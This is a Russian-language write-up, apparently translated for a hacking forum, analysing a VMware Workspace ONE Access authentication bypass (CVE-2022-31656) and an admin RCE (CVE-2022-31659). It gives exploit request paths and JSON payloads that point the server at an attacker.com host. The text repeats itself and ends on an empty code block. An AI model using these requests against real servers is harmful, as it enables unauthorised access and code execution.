Оригинальная статья
Переведено стециально для xss.pro
Любимому форуму от Jolah Milovski
I) веб-архитектура Java?
1. Слушатель
Слушатель в веб-разработке на Java — это функциональные компоненты, которые автоматически выполняют код при создании, уничтожении или добавлении, изменении или удалении свойств трех объектов: приложения, сеанса и запроса:
ServletContextListener : отслеживает создание и уничтожение контекста сервлета.
ServletContextAttributeListener : отслеживает добавление, удаление и замену атрибутов контекста сервлета.
HttpSessionListener : отслеживает создание и уничтожение сеанса. Существует две ситуации для уничтожения сеанса: во-первых, время сеанса истекает, а во-вторых, сеанс становится недействительным путем вызова метода invalidate() объекта сеанса.
HttpSessionAttributeListener : отслеживает добавление, удаление и замену атрибутов в объекте Session.
ServletRequestListener : прослушивание инициализации и уничтожения объектов запроса.
ServletRequestAttributeListener : прослушивает добавление, удаление и замену атрибутов объекта запроса.
Цель слушателя :
Фильтр является сильным дополнением к технологии сервлетов. Его основные функции:
Программа-фильтр - это класс Java, реализующий специальный интерфейс. Подобно сервлету, она также вызывается и выполняется контейнером сервлетов.
Когда Filter регистрируется в web.xml для перехвата программы Servlet, он может решить, продолжать ли передавать запрос программе Servlet и модифицировать ли сообщения запроса и ответа.
Когда контейнер сервлетов начинает вызывать программу сервлетов, если обнаруживается, что для перехвата сервлета зарегистрирована программа Filter, контейнер больше не будет напрямую вызывать метод обслуживания сервлета, а вызовет метод doFilter фильтра, а затем метод doFilter определит, следует ли деактивировать метод обслуживания.
Однако метод обслуживания сервлета нельзя вызвать непосредственно в методе Filter.doFilter. Вместо этого вызывается метод FilterChain.doFilter для активации метода обслуживания целевого сервлета. Объект FilterChain передается через параметры метода Filter.doFilter.
Если мы добавим некоторый программный код до и после вызова оператора метода FilterChain.doFilter в методе Filter.doFilter, мы можем добиться некоторых специальных функций до и после ответа сервлета.
Если метод FilterChain.doFilter не вызывается в методе Filter.doFilter, метод обслуживания целевого сервлета не будет выполнен, поэтому некоторые незаконные запросы доступа могут быть заблокированы через фильтр.
Filter:
Когда несколько фильтров существуют одновременно, формируется цепочка фильтров. Веб-сервер определяет, какой фильтр вызвать первым, в соответствии с порядком регистрации фильтра в файле web.xml.
Когда вызывается метод doFilter первого фильтра, веб-сервер создает объект FilterChain, представляющий цепочку фильтров, и передает его методу. Определив, есть ли фильтр в FilterChain, решите, нужно ли вызывать фильтр позже.
Жизненный цикл:
При запуске веб-приложения веб-контейнер инициализирует Filter в соответствии с регистрацией в web.xml. (Объект Filter инициализируется только один раз)
Разработчики могут получить объект FilterConfig, представляющий текущую информацию о конфигурации фильтра, через параметры метода init
.
После создания объекта Filter он будет находиться в памяти и не будет уничтожен до тех пор, пока веб-приложение не будет удалено или сервер не будет остановлен. Вызывается перед тем, как веб-контейнер выгрузит объект Filter. Этот метод выполняется только один раз в жизненном цикле Filter. В этом методе могут быть освобождены ресурсы, используемые Фильтром.
3. Сервлет
Сервлет - это программа, работающая на веб-сервере или сервере приложений. Как промежуточный слой между запросом от HTTP-клиента и базой данных или приложением на HTTP-сервере, сервлет отвечает за обработку запроса пользователя, генерирует соответствующую ответную информацию в соответствии с запросом и предоставляет ее пользователю.
Жизненный цикл:
При запуске сервера (в web.xml настроена нагрузка при запуске = 1, по умолчанию 0) или при первом запросе сервлета происходит инициализация объекта сервлета, то есть выполняется метод инициализации init(ServletConfig conf).
Объект сервлета обрабатывает все запросы клиента и выполняет их в методе service(ServletRequest req, ServletResponse res).
Когда сервер выключится, уничтожьте объект сервлета и выполните метод destroy() сборка мусора JVM
II) [CVE-2022-31656] Обход аутентификации
Во время отладки классов фильтров я случайно обнаружил нечто особенное в org.tukey.web.filters.urlrewrite.RuleChain.doRules. Как упоминалось выше, java web имеет много уровней фильтрации, и мы находимся на уровне UrlRewriteFilter, который отвечает за отображение запросов на некоторые внутренние сервлеты на основе предопределенных правил (в файле WEB-INF/urlrewrite.xml)
Мое внимание привлекло то, что у него есть определенное правило: если в запросе есть путь с regex "^/t/([^/])($|/)(((?!META-INF| WEB-INF).))$", то он будет отображен на сервлет "/$3" Это очень похоже на 2 уязвимости CVE-2021-26085 + CVE-2021-26086 на Jira и Confluence, позволяющие злоумышленнику читать произвольные файлы в 2 папках WEB-INF и META-INF.
Сразу же возникла идея использовать запрос, соответствующий приведенному выше правилу, для доступа к файлам в каталоге WEB-INF. Основываясь на regex, мы можем легко увидеть, что запрос должен начинаться с "/SAAS/t/_/;/", поэтому для запроса с путем "/SAAS/t/_/;/WEB-INF/web.xml" на основе правила будет сопоставлен с "/WEB-INF/web.xml".
Программа входит в org.tuckey.web.filters.urlrewrite.NormalRewrittenUrl.doRewrite(), где продолжает вызывать this.getRequestDispatcher()
Здесь программа получает RequestDispatcher с servletPath, значение которого "/;/WEB-INF/web.xml", что эквивалентно "/WEB-INF/web.xml".
После получения RequestDispatcher (переменная rq), программа, вызывающая эту функцию rq.forward, переадресует запрос от одного сервлета к другому, так что она также может передать запрос "ResourceServlet" для получения ресурсов. Это означает, что servletPath, имеющий значение "/WEB-INF/web.xml", соответствует ресурсу и доступен.
Он может не только получить доступ к файлам в каталоге WEB-INF/, но и прочитать все файлы, расположенные в каталоге webapps (/opt/vmware/horizon/workspace/webapps/SAAS).
Итак, я нашел ошибку чтения произвольных файлов, но могу ли я что-нибудь сделать с этой уязвимостью?
Как упоминалось выше, RequestDispatcher.forward может передавать запросы от одного сервлета к другому, так можем ли мы воспользоваться этим для доступа к заблокированной конечной точке? Я сразу же подумал о CVE-2022-22972 (если вы не знаете об этой уязвимости, вам стоит остановиться и прочитать этот блог).
Чтобы устранить уязвимость CVE-2022-22972, разработчики добавили класс HostHeaderFilter в цепочку фильтров, чтобы блокировать все запросы с заголовком host, который не указывает на сервер.
Поэтому, чтобы добраться до функции ошибки (LocalPasswordAuthAdapter.login), наш запрос должен пройти через нее:
Запрос на эксплуатацию CVE-2022-22972 будет заблокирован на HostHeaderFilter, поэтому мы можем пропустить HostHeaderFilter и перейти к LoginController.doLoginEmbeddedAuthBrokerCallback?
Чтобы программа перешла в LoginController.doLoginEmbeddedAuthBrokerCallback, нам нужно сопоставить наш запрос с "/auth/login/embeddedauthbroker/callback"
То есть, нам нужно отправить запрос с путем "/SAAS/t/_/;/auth/login/embeddedauthbroker/callback".
И... я успешно обошел аутентификацию.
примечание: вы можете использовать путь: /SAAS/t/foo/auth/login/embeddedauthbroker/callback
III) [CVE-2022-31659] Admin RCE
Читая код VMware ONE Access, я обнаружил, что часто разработчики используют функцию CommandUtils.executeCommand для выполнения команд ОС, поэтому я искал места, где используется эта функция, в надежде найти ошибку инъекции команд ОС.
Я обнаружил, что эта функция используется дважды в com.vmware.horizon.migration.customgroups.ExportCustomGroup.getVidmUserIds() .
К счастью, вход функции находится относительно входа CommandUtils.executeCommand. Я использую Ctrl+Alt+F7, чтобы узнать, какие функции вызывают getVidmUserIds
IDE приводит нас к com.vmware.horizon.migration.impl.CustomGroupMigrationServiceImpl.migrateCustomGroup(), аналогично мы находим функцию контроллера com.vmware.horizon.migration.rest.resource.util.TenantMigrationResource.migrateTenant и, к счастью, пользовательский ввод из функции контроллера все еще может повлиять на ввод CommandUtils.executeCommand, здесь высок риск уязвимости os command injection.
Следующая проблема - найти путь, который приведет нас к функции TenantMigrationResource.migrateTenant, как мы видим, @Path имеет значение "/migrate/tenant", что означает, что путь, который нам нужно найти, будет иметь вид "/**/migrate/tenant". Я потратил на это много времени.
Поскольку это большой продукт, чтение всего кода - тяжелая работа. Пытаясь читать конфигурационные файлы (например, web.xml), я все равно ничего не понял, поэтому переключился на спекуляции с черным ящиком. Я пробовал множество корневых путей или различные типы API, но они все еще не верны. К счастью, я заметил, что существует API вида "/SAAS/jersey/manager/api/**", поэтому я попробовал отправить запрос на "/SAAS/jersey/manager/api/migrate/tenant" и успешно получил TenantMigrationResource.migrateTenant
.
User Input будет представлять собой объект com.vmware.horizon.migration.rest.media.MigrationInfo в форме JSON. Сначала я пробовал отправить объект со всеми полями, но постоянно получал синтаксическую ошибку, поэтому я решил сначала отправить пустой объект, отладить и добавить что-то позже.
Программа вызывает TenantMigrationServiceImpl.migrateTenant()
Первое поле, которое необходимо ввести пользователю, - это объект типа List<com.vmware.horizon.migration.exception.ErrorInput>.
Мы можем легко увидеть, что имя поля этого объекта - "errorInputList".
Для каждого входа ErrorInput будет 2 строки, errorType и errorObjectIdentifier
Таким образом, мой вход будет иметь вид:
Далее программа вызывает migrationInfo.getSourceDestinationInfo(). Аналогично описанному выше, мы также можем ввести данные следующим образом:
В первом операторе if программа вызывает validateIfMigrationRequired(previousError, "Tenant")
Здесь программа проверяет, содержит ли список previousError ошибку ErrorInput, ErrorType которой равен переданной переменной type? Поскольку мой errorType введен как "foo" (отличный от "Tenant"), программа не вводит этот оператор if.
Далее программа вызывает this.migrateAllDirectories
Здесь программа получает DirectoryMap из пользовательского ввода.
Я могу продолжать делать вышеописанное, чтобы знать, как вводить данные, или могу также создать объект migrationInfo, а затем использовать ObjectMapper для преобразования его в JSON:
Когда программа останавливается в режиме отладки, вы также можете запустить приведенный выше код с помощью функции "Evaluate expression" без написания новой программы и добавления множества библиотек.
Ввод завершен, поэтому я продолжаю возвращаться к отладке
Возвращаемся к функции migrateAllDirectories, программа проверяет, есть ли в directoryMap ключ "LOCAL", затем пропускает:
После выхода из функции migrateAllDirectories программа переходит в ветвь else следующего оператора if. Поскольку мне нужно, чтобы программа вызвала this.customGroupMigrationService.migrateCustomGroup(customGroupInfo, migrationResponseTO); поэтому нам нужно, чтобы входной параметр errorType объекта ErrorInput был "CustomGroup", чтобы программа вошла в ветвь if, как показано на рисунке.
Поэтому мы заставили программу перейти к com.vmware.horizon.migration.impl.CustomGroupMigrationServiceImpl.migrateCustomGroup(). Здесь программа обращается к this.getVraAuthenticationServerUtils и this.getVidmAuthenticationServerUtils
Цель программы с этого этапа можно объяснить просто: программа возьмет группу пользователей на сервере-источнике и импортирует ее на сервер назначения. Таким образом, нас интересуют следующие три этапа:
На этапах 1 и 2 программа вызывает this.getVraAuthenticationServerUtils и this.getVidmAuthenticationServerUtils для аутентификации и авторизации сервера источника и сервера назначения, используя данные, полученные из пользовательского ввода.
На этапе 3, после аутентификации исходного и целевого сервера, программа экспортирует ExportCustomGroup на исходном сервере и ImportCustomGroup на целевом сервере.
Программа получает информацию о ДИНАМИЧЕСКИХ группах на исходном сервере, чтобы подготовиться к импорту на целевой сервер.
В настоящее время исходным и конечным сервером, который я ввожу, является attacker.com. Когда запрос с текущего сервера будет отправлен на attacker.com, вы не будете знать, как правильно ответить
. Поэтому сейчас вам нужно назначить адрес, имя пользователя и пароль исходного и конечного сервера в качестве текущего сервера, а затем отладить, чтобы увидеть, как правильно ответить.
После аутентификации и авторизации исходного и целевого сервера программа экспортирует группу с сервера-источника и вызывает функцию exportCustomGroup.getVidmUserIds
Вкратце, функция exportCustomGroup.getVidmUserIds выполняет следующие два действия:
Выполняя команду №1, программа вызывает CommandUtils.executeCommand(sb.toString());
В CommandUtils.executeCommand(@Nonnull String command, long maxOutLength, long timeoutInMillis) команда изменяется на массив:
В executeCommand(@Nonnull String[] command, @Nullable String[] env, @Nullable String commandInput, long maxOutLength, long timeoutInMillis, boolean combinedOutput) программа проверяет, что если массив команд содержит хотя бы одну строку из белого списка, то она будет считаться допустимой командой. Затем программа выполняет команду с помощью Runtime.getRuntime().exec
Как мы видим, команда, переданная в функцию exec, имеет форму массива, что делает невозможным немедленное выполнение инъекции команд ОС, поскольку программа рассматривает весь пользовательский ввод только как строку ввода, которая не может быть нарушена для выполнения других программ. (например, если входные данные ['test', '-a', '1${IFS}|||ls'], то программа выполнит команду test с параметрами, переданными в виде -a и 1${IFS}||| ls. Означает || просто строку, а не оператор).
Потому что здесь невозможно сделать инъекцию команд ОС. Поэтому я просто тщательно проверяю две программы exportCustomGroupUsers.sh и extractUserIdFromDatabase.sh
(1) exportCustomGroupUsers.sh
+ HOSTNAME: Домены сервера PostgreSQL - Этот параметр берется из пользовательского ввода (это 'attacker.com' в запросе эксплойта).
+ UserID: Этот параметр получается при запросе к (API: "/SAAS/t/ONE/jersey/manager/api/scim/Groups/.search").
Здесь программа отправляет запрос PostgreSQL на $HOSTNAME:
⇒ Возвращаемый результат имеет вид '$USERAME|$DOMAIN|$ORGANIZATION_ID'.
(2) extractUserIdFromDatabase.sh
Здесь программа выполняет следующий запрос psql:
Не могу сделать OS Command injection, чтобы привести к RCE. Так есть ли другой способ RCE? Не могу сделать инъекцию команды OS Command, так могу ли я сделать инъекцию PSQL, которая приведет к RCE? ???
Поскольку $HOSTNAME берется из пользовательского ввода (attacker.com), мы можем контролировать вывод команды (1), указывая $HOSTNAME на сервер атакующего. Вы можете контролировать переменную $USERNAME в команде (2).
Я нашел способ использовать CVE-2019-9193, чтобы выполнить RCE с помощью следующего запроса psql:
Поскольку программа разделит исходную командную строку пробелами для создания массива команд, нам нужно обойти пробелы с помощью '/**/' в psql запросе и '${IFS}' в OS Command (также нужно избегать символов ',' и '|').
И $USERNAME после инъекции будет выглядеть следующим образом:
То есть запрос psql в файле extractUserIdFromDatabase.sh будет выглядеть следующим образом:
⇒ Итак, мы успешно выполнили RCE. Ниже приведена общая схема процесса эксплуатации:
Переведено стециально для xss.pro
Любимому форуму от Jolah Milovski
I) веб-архитектура Java?
1. Слушатель
Слушатель в веб-разработке на Java — это функциональные компоненты, которые автоматически выполняют код при создании, уничтожении или добавлении, изменении или удалении свойств трех объектов: приложения, сеанса и запроса:
ServletContextListener : отслеживает создание и уничтожение контекста сервлета.
ServletContextAttributeListener : отслеживает добавление, удаление и замену атрибутов контекста сервлета.
HttpSessionListener : отслеживает создание и уничтожение сеанса. Существует две ситуации для уничтожения сеанса: во-первых, время сеанса истекает, а во-вторых, сеанс становится недействительным путем вызова метода invalidate() объекта сеанса.
HttpSessionAttributeListener : отслеживает добавление, удаление и замену атрибутов в объекте Session.
ServletRequestListener : прослушивание инициализации и уничтожения объектов запроса.
ServletRequestAttributeListener : прослушивает добавление, удаление и замену атрибутов объекта запроса.
Цель слушателя :
- Прослушиватели могут использоваться для прослушивания клиентских запросов и операций сервера.
- Некоторые действия могут выполняться автоматически, например, мониторинг количества онлайн-пользователей, статистика посещений веб-сайтов, мониторинг доступа к веб-сайтам и т. д.
- Жизненный цикл: Жизненный цикл прослушивателя начинается с веб-контейнера до уничтожения веб-контейнера.
Фильтр является сильным дополнением к технологии сервлетов. Его основные функции:
- Перед HttpServletRequestпоступает на сервлет, перехватывает клиентский HttpServletRequest, проверить HttpServletRequestпо мере необходимости или изменить HttpServletRequestзаголовок и данные.
- Перед HttpServletResponseпоступает к клиенту, перехватывает HttpServletResponse, проверить HttpServletResponseпо мере необходимости или изменить HttpServletResponseзаголовок и данные.
Программа-фильтр - это класс Java, реализующий специальный интерфейс. Подобно сервлету, она также вызывается и выполняется контейнером сервлетов.
Когда Filter регистрируется в web.xml для перехвата программы Servlet, он может решить, продолжать ли передавать запрос программе Servlet и модифицировать ли сообщения запроса и ответа.
Когда контейнер сервлетов начинает вызывать программу сервлетов, если обнаруживается, что для перехвата сервлета зарегистрирована программа Filter, контейнер больше не будет напрямую вызывать метод обслуживания сервлета, а вызовет метод doFilter фильтра, а затем метод doFilter определит, следует ли деактивировать метод обслуживания.
Однако метод обслуживания сервлета нельзя вызвать непосредственно в методе Filter.doFilter. Вместо этого вызывается метод FilterChain.doFilter для активации метода обслуживания целевого сервлета. Объект FilterChain передается через параметры метода Filter.doFilter.
Если мы добавим некоторый программный код до и после вызова оператора метода FilterChain.doFilter в методе Filter.doFilter, мы можем добиться некоторых специальных функций до и после ответа сервлета.
Если метод FilterChain.doFilter не вызывается в методе Filter.doFilter, метод обслуживания целевого сервлета не будет выполнен, поэтому некоторые незаконные запросы доступа могут быть заблокированы через фильтр.
Filter:
Когда несколько фильтров существуют одновременно, формируется цепочка фильтров. Веб-сервер определяет, какой фильтр вызвать первым, в соответствии с порядком регистрации фильтра в файле web.xml.
Когда вызывается метод doFilter первого фильтра, веб-сервер создает объект FilterChain, представляющий цепочку фильтров, и передает его методу. Определив, есть ли фильтр в FilterChain, решите, нужно ли вызывать фильтр позже.
Жизненный цикл:
При запуске веб-приложения веб-контейнер инициализирует Filter в соответствии с регистрацией в web.xml. (Объект Filter инициализируется только один раз)
Разработчики могут получить объект FilterConfig, представляющий текущую информацию о конфигурации фильтра, через параметры метода init
.После создания объекта Filter он будет находиться в памяти и не будет уничтожен до тех пор, пока веб-приложение не будет удалено или сервер не будет остановлен. Вызывается перед тем, как веб-контейнер выгрузит объект Filter. Этот метод выполняется только один раз в жизненном цикле Filter. В этом методе могут быть освобождены ресурсы, используемые Фильтром.

3. Сервлет
Сервлет - это программа, работающая на веб-сервере или сервере приложений. Как промежуточный слой между запросом от HTTP-клиента и базой данных или приложением на HTTP-сервере, сервлет отвечает за обработку запроса пользователя, генерирует соответствующую ответную информацию в соответствии с запросом и предоставляет ее пользователю.
Жизненный цикл:
При запуске сервера (в web.xml настроена нагрузка при запуске = 1, по умолчанию 0) или при первом запросе сервлета происходит инициализация объекта сервлета, то есть выполняется метод инициализации init(ServletConfig conf).
Объект сервлета обрабатывает все запросы клиента и выполняет их в методе service(ServletRequest req, ServletResponse res).
Когда сервер выключится, уничтожьте объект сервлета и выполните метод destroy() сборка мусора JVM
II) [CVE-2022-31656] Обход аутентификации
Во время отладки классов фильтров я случайно обнаружил нечто особенное в org.tukey.web.filters.urlrewrite.RuleChain.doRules. Как упоминалось выше, java web имеет много уровней фильтрации, и мы находимся на уровне UrlRewriteFilter, который отвечает за отображение запросов на некоторые внутренние сервлеты на основе предопределенных правил (в файле WEB-INF/urlrewrite.xml)
Мое внимание привлекло то, что у него есть определенное правило: если в запросе есть путь с regex "^/t/([^/])($|/)(((?!META-INF| WEB-INF).))$", то он будет отображен на сервлет "/$3" Это очень похоже на 2 уязвимости CVE-2021-26085 + CVE-2021-26086 на Jira и Confluence, позволяющие злоумышленнику читать произвольные файлы в 2 папках WEB-INF и META-INF.
Сразу же возникла идея использовать запрос, соответствующий приведенному выше правилу, для доступа к файлам в каталоге WEB-INF. Основываясь на regex, мы можем легко увидеть, что запрос должен начинаться с "/SAAS/t/_/;/", поэтому для запроса с путем "/SAAS/t/_/;/WEB-INF/web.xml" на основе правила будет сопоставлен с "/WEB-INF/web.xml".
Программа входит в org.tuckey.web.filters.urlrewrite.NormalRewrittenUrl.doRewrite(), где продолжает вызывать this.getRequestDispatcher()
Здесь программа получает RequestDispatcher с servletPath, значение которого "/;/WEB-INF/web.xml", что эквивалентно "/WEB-INF/web.xml".
После получения RequestDispatcher (переменная rq), программа, вызывающая эту функцию rq.forward, переадресует запрос от одного сервлета к другому, так что она также может передать запрос "ResourceServlet" для получения ресурсов. Это означает, что servletPath, имеющий значение "/WEB-INF/web.xml", соответствует ресурсу и доступен.
Он может не только получить доступ к файлам в каталоге WEB-INF/, но и прочитать все файлы, расположенные в каталоге webapps (/opt/vmware/horizon/workspace/webapps/SAAS).
Итак, я нашел ошибку чтения произвольных файлов, но могу ли я что-нибудь сделать с этой уязвимостью?
Как упоминалось выше, RequestDispatcher.forward может передавать запросы от одного сервлета к другому, так можем ли мы воспользоваться этим для доступа к заблокированной конечной точке? Я сразу же подумал о CVE-2022-22972 (если вы не знаете об этой уязвимости, вам стоит остановиться и прочитать этот блог).
Чтобы устранить уязвимость CVE-2022-22972, разработчики добавили класс HostHeaderFilter в цепочку фильтров, чтобы блокировать все запросы с заголовком host, который не указывает на сервер.
Код:
private boolean isServerNameAmongTheValidList(String serverName, String gatewayHostName) {
return serverName.equalsIgnoreCase(gatewayHostName) || serverName.equalsIgnoreCase(this.applianceNetworkDetails.getHostname()) || serverName.equalsIgnoreCase(this.applianceNetworkDetails.getIpV4Address()) || serverName.equalsIgnoreCase(this.applianceNetworkDetails.getIpV6Address()) ||
serverName.equalsIgnoreCase("localhost") || serverName.equalsIgnoreCase("127.0.0.1");
}
Поэтому, чтобы добраться до функции ошибки (LocalPasswordAuthAdapter.login), наш запрос должен пройти через нее:
Запрос на эксплуатацию CVE-2022-22972 будет заблокирован на HostHeaderFilter, поэтому мы можем пропустить HostHeaderFilter и перейти к LoginController.doLoginEmbeddedAuthBrokerCallback?
Чтобы программа перешла в LoginController.doLoginEmbeddedAuthBrokerCallback, нам нужно сопоставить наш запрос с "/auth/login/embeddedauthbroker/callback"
То есть, нам нужно отправить запрос с путем "/SAAS/t/_/;/auth/login/embeddedauthbroker/callback".
И... я успешно обошел аутентификацию.

примечание: вы можете использовать путь: /SAAS/t/foo/auth/login/embeddedauthbroker/callback
III) [CVE-2022-31659] Admin RCE
Читая код VMware ONE Access, я обнаружил, что часто разработчики используют функцию CommandUtils.executeCommand для выполнения команд ОС, поэтому я искал места, где используется эта функция, в надежде найти ошибку инъекции команд ОС.

Я обнаружил, что эта функция используется дважды в com.vmware.horizon.migration.customgroups.ExportCustomGroup.getVidmUserIds() .
К счастью, вход функции находится относительно входа CommandUtils.executeCommand. Я использую Ctrl+Alt+F7, чтобы узнать, какие функции вызывают getVidmUserIds
IDE приводит нас к com.vmware.horizon.migration.impl.CustomGroupMigrationServiceImpl.migrateCustomGroup(), аналогично мы находим функцию контроллера com.vmware.horizon.migration.rest.resource.util.TenantMigrationResource.migrateTenant и, к счастью, пользовательский ввод из функции контроллера все еще может повлиять на ввод CommandUtils.executeCommand, здесь высок риск уязвимости os command injection.
Код:
TenantMigrationResource.migrateTenant()
-> TenantMigrationServiceImpl.migrateTenant()
-> CustomGroupMigrationServiceImpl.migrateCustomGroup()
-> ExportCustomGroup.getVidmUserIds()
Следующая проблема - найти путь, который приведет нас к функции TenantMigrationResource.migrateTenant, как мы видим, @Path имеет значение "/migrate/tenant", что означает, что путь, который нам нужно найти, будет иметь вид "/**/migrate/tenant". Я потратил на это много времени.

Поскольку это большой продукт, чтение всего кода - тяжелая работа. Пытаясь читать конфигурационные файлы (например, web.xml), я все равно ничего не понял, поэтому переключился на спекуляции с черным ящиком. Я пробовал множество корневых путей или различные типы API, но они все еще не верны. К счастью, я заметил, что существует API вида "/SAAS/jersey/manager/api/**", поэтому я попробовал отправить запрос на "/SAAS/jersey/manager/api/migrate/tenant" и успешно получил TenantMigrationResource.migrateTenant
.
User Input будет представлять собой объект com.vmware.horizon.migration.rest.media.MigrationInfo в форме JSON. Сначала я пробовал отправить объект со всеми полями, но постоянно получал синтаксическую ошибку, поэтому я решил сначала отправить пустой объект, отладить и добавить что-то позже.

Программа вызывает TenantMigrationServiceImpl.migrateTenant()
Первое поле, которое необходимо ввести пользователю, - это объект типа List<com.vmware.horizon.migration.exception.ErrorInput>.
Мы можем легко увидеть, что имя поля этого объекта - "errorInputList".
Для каждого входа ErrorInput будет 2 строки, errorType и errorObjectIdentifier
Таким образом, мой вход будет иметь вид:
Код:
{
"errorInputList":[
{
"errorType":"foo",
"errorObjectIdentifier":"bar"
}]
}
Далее программа вызывает migrationInfo.getSourceDestinationInfo(). Аналогично описанному выше, мы также можем ввести данные следующим образом:
Код:
{
"errorInputList":[
{
"errorType":"foo",
"errorObjectIdentifier":"bar"
}],
"sourceDestinationInfo":
{
"sourceHostname":"attacker.com",
"sourceAdministrator":"admin",
"sourcePassword":"cc",
"sourceTenant":"ONE",
"sourceMasterTenant":"ONE",
"destinationHostname":"attacker.com",
"destinationAdministrator":"admin",
"destinationPassword":"cc",
"destinationTenant":"attacker",
"destinationMasterTenantHostname":"attacker.com"
}
}
В первом операторе if программа вызывает validateIfMigrationRequired(previousError, "Tenant")
Здесь программа проверяет, содержит ли список previousError ошибку ErrorInput, ErrorType которой равен переданной переменной type? Поскольку мой errorType введен как "foo" (отличный от "Tenant"), программа не вводит этот оператор if.
Далее программа вызывает this.migrateAllDirectories
Здесь программа получает DirectoryMap из пользовательского ввода.
Я могу продолжать делать вышеописанное, чтобы знать, как вводить данные, или могу также создать объект migrationInfo, а затем использовать ObjectMapper для преобразования его в JSON:
Код:
List<Directory> list= new ArrayList<Directory>();
Map<String, List<Directory>> dir = new HashMap<>();
Directory d = new Directory("cc");
list.add(d);
dir.put("LOCAL", list);
migrationInfo.setDirectoryMap(dir);
ObjectMapper mapper = new ObjectMapper();
mapper.writerWithDefaultPrettyPrinter().writeValueAsString(migrationInfo);## Output{
"directoryMap" : {
"LOCAL" : [ {
"type" : "Directory",
"sourceDirectoryBindPassword" : "cc",
"destinationConnectorInstanceId" : null,
"sourceDirectoryId" : null,
"_links" : { }
} ]
},
"sourceDestinationInfo" : {
"sourceHostname" : "attacker.com",
"sourceAdministrator" : "admin",
"sourcePassword" : "cc",
"sourceTenant" : "ONE",
"sourceMasterTenant" : "ONE",
"destinationHostname" : "attacker.com",
"destinationAdministrator" : "admin",
"destinationPassword" : "cc",
"destinationTenant" : "attacker",
"destinationMasterTenantHostname" : "attacker.com",
"_links" : { }
},
"vidmOnboardTenantDefinitionDTO" : null,
"errorInputList" : [ {
"errorType" : "foo",
"errorObjectIdentifier" : "bar"
} ],
"_links" : { }
}
Когда программа останавливается в режиме отладки, вы также можете запустить приведенный выше код с помощью функции "Evaluate expression" без написания новой программы и добавления множества библиотек.
Ввод завершен, поэтому я продолжаю возвращаться к отладке
Возвращаемся к функции migrateAllDirectories, программа проверяет, есть ли в directoryMap ключ "LOCAL", затем пропускает:
После выхода из функции migrateAllDirectories программа переходит в ветвь else следующего оператора if. Поскольку мне нужно, чтобы программа вызвала this.customGroupMigrationService.migrateCustomGroup(customGroupInfo, migrationResponseTO); поэтому нам нужно, чтобы входной параметр errorType объекта ErrorInput был "CustomGroup", чтобы программа вошла в ветвь if, как показано на рисунке.
Код:
# User input now
{
"errorInputList":[
{
"errorType":"CustomGroup",
"errorObjectIdentifier":"LocalDirectory"
}],
"sourceDestinationInfo":
{
"sourceHostname":"attacker.com",
"sourceAdministrator":"admin",
"sourcePassword":"cc",
"sourceTenant":"ONE",
"sourceMasterTenant":"ONE",
"destinationHostname":"attacker.com",
"destinationAdministrator":"admin",
"destinationPassword":"cc",
"destinationTenant":"attacker",
"destinationMasterTenantHostname":"attacker.com"
},
"directoryMap" : {
"LOCAL" : [ {
"type" : "Directory",
"sourceDirectoryBindPassword" : "cc",
"destinationConnectorInstanceId" : null,
"sourceDirectoryId" : null,
"_links" : { }
} ]
}
}
Поэтому мы заставили программу перейти к com.vmware.horizon.migration.impl.CustomGroupMigrationServiceImpl.migrateCustomGroup(). Здесь программа обращается к this.getVraAuthenticationServerUtils и this.getVidmAuthenticationServerUtils
Цель программы с этого этапа можно объяснить просто: программа возьмет группу пользователей на сервере-источнике и импортирует ее на сервер назначения. Таким образом, нас интересуют следующие три этапа:
На этапах 1 и 2 программа вызывает this.getVraAuthenticationServerUtils и this.getVidmAuthenticationServerUtils для аутентификации и авторизации сервера источника и сервера назначения, используя данные, полученные из пользовательского ввода.
На этапе 3, после аутентификации исходного и целевого сервера, программа экспортирует ExportCustomGroup на исходном сервере и ImportCustomGroup на целевом сервере.
Программа получает информацию о ДИНАМИЧЕСКИХ группах на исходном сервере, чтобы подготовиться к импорту на целевой сервер.
В настоящее время исходным и конечным сервером, который я ввожу, является attacker.com. Когда запрос с текущего сервера будет отправлен на attacker.com, вы не будете знать, как правильно ответить
. Поэтому сейчас вам нужно назначить адрес, имя пользователя и пароль исходного и конечного сервера в качестве текущего сервера, а затем отладить, чтобы увидеть, как правильно ответить.После аутентификации и авторизации исходного и целевого сервера программа экспортирует группу с сервера-источника и вызывает функцию exportCustomGroup.getVidmUserIds
Вкратце, функция exportCustomGroup.getVidmUserIds выполняет следующие два действия:
Код:
# Execute command #1, where attacker.com and UserID are user input
/usr/local/horizon/scripts/exportCustomGroupUsers.sh -h attacker.com -l UserID# Get the output from command #1 to use as input for command #2. (output of #1 is string '$USERAME|$DOMAIN|$ORGANIZATION_ID')/usr/local/horizon/scripts/extractUserIdFromDatabase.sh -l '$USERAME|$DOMAIN|$ORGANIZATION_ID'
Выполняя команду №1, программа вызывает CommandUtils.executeCommand(sb.toString());
В CommandUtils.executeCommand(@Nonnull String command, long maxOutLength, long timeoutInMillis) команда изменяется на массив:
В executeCommand(@Nonnull String[] command, @Nullable String[] env, @Nullable String commandInput, long maxOutLength, long timeoutInMillis, boolean combinedOutput) программа проверяет, что если массив команд содержит хотя бы одну строку из белого списка, то она будет считаться допустимой командой. Затем программа выполняет команду с помощью Runtime.getRuntime().exec
Как мы видим, команда, переданная в функцию exec, имеет форму массива, что делает невозможным немедленное выполнение инъекции команд ОС, поскольку программа рассматривает весь пользовательский ввод только как строку ввода, которая не может быть нарушена для выполнения других программ. (например, если входные данные ['test', '-a', '1${IFS}|||ls'], то программа выполнит команду test с параметрами, переданными в виде -a и 1${IFS}||| ls. Означает || просто строку, а не оператор).
Потому что здесь невозможно сделать инъекцию команд ОС. Поэтому я просто тщательно проверяю две программы exportCustomGroupUsers.sh и extractUserIdFromDatabase.sh
(1) exportCustomGroupUsers.sh
Код:
/usr/local/horizon/scripts/exportCustomGroupUsers.sh -h [HOSTNAME] -l [UserID]
+ UserID: Этот параметр получается при запросе к (API: "/SAAS/t/ONE/jersey/manager/api/scim/Groups/.search").
Здесь программа отправляет запрос PostgreSQL на $HOSTNAME:
Код:
psql -U postgres -h $HOSTNAME -d vcac -At -c "select \"saas\".\"Users\".\"strUsername\",\"saas\".\"Users\".\"domain\",\"saas\".\"Organizations\".\"strOrganization\" from \"saas\". \"Users\",\"saas\".\"Organizations\", где \"saas\".\"Users\".\"idUser\" IN($UserID ) AND \"saas\".\"Users\".\"idOrganization\"=\"saas\".\"Organizations\".\"id\";"
(2) extractUserIdFromDatabase.sh
Код:
/usr/local/horizon/scripts/extractUserIdFromDatabase.sh -l '$USERAME|$DOMAIN|$ORGANIZATION_ID'
Код:
